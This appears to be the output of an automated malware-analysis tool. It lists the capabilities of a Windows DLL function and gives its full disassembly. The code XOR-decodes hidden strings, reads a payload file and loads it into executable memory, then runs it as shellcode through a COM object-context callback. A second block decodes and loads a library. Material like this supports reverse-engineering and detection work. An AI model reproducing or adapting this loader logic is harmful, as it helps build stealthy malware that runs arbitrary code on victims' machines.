Function at 0x1800014c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x390
movaps xmmword [rsp + 0x380], xmm6
mov eax, dword [0x18001aa48]
mov ecx, dword [0x18001aaa0]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x180001378
cmp qword [0x18001aa40], 0
je 0x18000135b
xor ebp, ebp
lea rdi, [rsp + 0x60]
mov r8d, 0x208
mov rcx, rdi
xor edx, edx
call fcn.180002cb0
mov rcx, qword [0x18001aa50]
mov rdx, rdi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rax - 4]
mov word [rsp + rcx*2 + 0x60], 0
lea ecx, [rax - 3]
mov word [rsp + rcx*2 + 0x60], 0
lea ecx, [rax - 2]
mov word [rsp + rcx*2 + 0x60], 0
add eax, 0xffffffff
mov word [rsp + rax*2 + 0x60], 0
movabs rax, 0x225d1f9f4edc2add
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
movabs rcx, 0xdece3a5bd5b1191c
mov qword [rsp + 0x48], rcx
mov rdx, qword [rsp + 0x48]
movabs rdx, 0x22291ffe4eb82af3
mov qword [rsp + 0x270], rdx
mov rdx, qword [rsp + 0x270]
mov qword [rsp + 0x278], rcx
mov rdx, qword [rsp + 0x278]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x48]
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rbx, [rsp + 0x270]
mov r8d, 0x104
mov rcx, rbx
xor edx, edx
call fcn.180002cb0
xorps xmm6, xmm6
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rsi, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor ecx, ecx
xor edx, edx
mov r8, rdi
mov r9d, 0x104
call rsi
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
xor ecx, ecx
xor edx, edx
mov r8, rdi
mov r9d, 0x104
call rsi
lea rdx, [0x180014d38]
mov rcx, rbx
call fcn.180003f80
test rax, rax
je 0x180001360
mov rdi, rax
mov rcx, rax
xor edx, edx
mov r8d, 2
call fcn.180004384
mov rcx, rdi
call fcn.180004594
test eax, eax
je 0x180001360
movsxd rbx, eax
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x180001360
mov rdi, rax
lea rcx, [rsp + 0x270]
mov rdx, rax
call section..text
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x3000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x180001360
mov r14, rax
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call fcn.180002600
mov edi, dword [r14]
cmp rdi, 0xa
jb 0x180001360
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x180001360
mov rbx, rax
mov rdx, r14
add rdx, 4
mov rcx, rax
mov r8, rdi
call fcn.180002600
movups xmm0, xmmword [section..rdata]
movaps xmmword [rsp + 0x40], xmm0
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rsp + 0x58], 0
lea rdi, [rsp + 0x40]
lea rdx, [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 0
mov rdx, rbx
mov r8, r14
mov r9, rdi
call qword [rax + 0x40]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001360
mov ebp, 0xffffffff
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x380]
add rsp, 0x390
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x18001aa48]
call fcn.1800015a4
cmp dword [0x18001aa48], 0xffffffff
jne 0x1800010ca
movabs rax, 0x22471f8c4edd2a98
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
movabs rcx, 0xdefc3a68d5dd1979
mov qword [rsp + 0x68], rcx
mov rdx, qword [rsp + 0x68]
movabs rdx, 0xb061e504edd71eb3
mov qword [rsp + 0x70], rdx
mov rbx, qword [rsp + 0x70]
movabs rbx, 0x3a749bd0cb4b536
mov qword [rsp + 0x78], rbx
mov rdi, qword [rsp + 0x78]
movabs rdi, 0x22291ffe4eb82af3
mov qword [rsp + 0x270], rdi
mov rdi, qword [rsp + 0x270]
movabs rdi, 0xdece3a5bd5b1191c
mov qword [rsp + 0x278], rdi
mov rdi, qword [rsp + 0x278]
movabs rdi, 0xb00de568edb31e9d
mov qword [rsp + 0x40], rdi
mov rdi, qword [rsp + 0x40]
mov qword [rsp + 0x48], rbx
mov rdi, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rcx
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rdx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rbx
mov rax, qword [rsp + 0x78]
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x60], xmm0
xorps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x70], xmm1
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x18001aa40], rax
lea rcx, [0x18001aa48]
call fcn.18000160c
jmp 0x1800010ca
jmp 0x180001090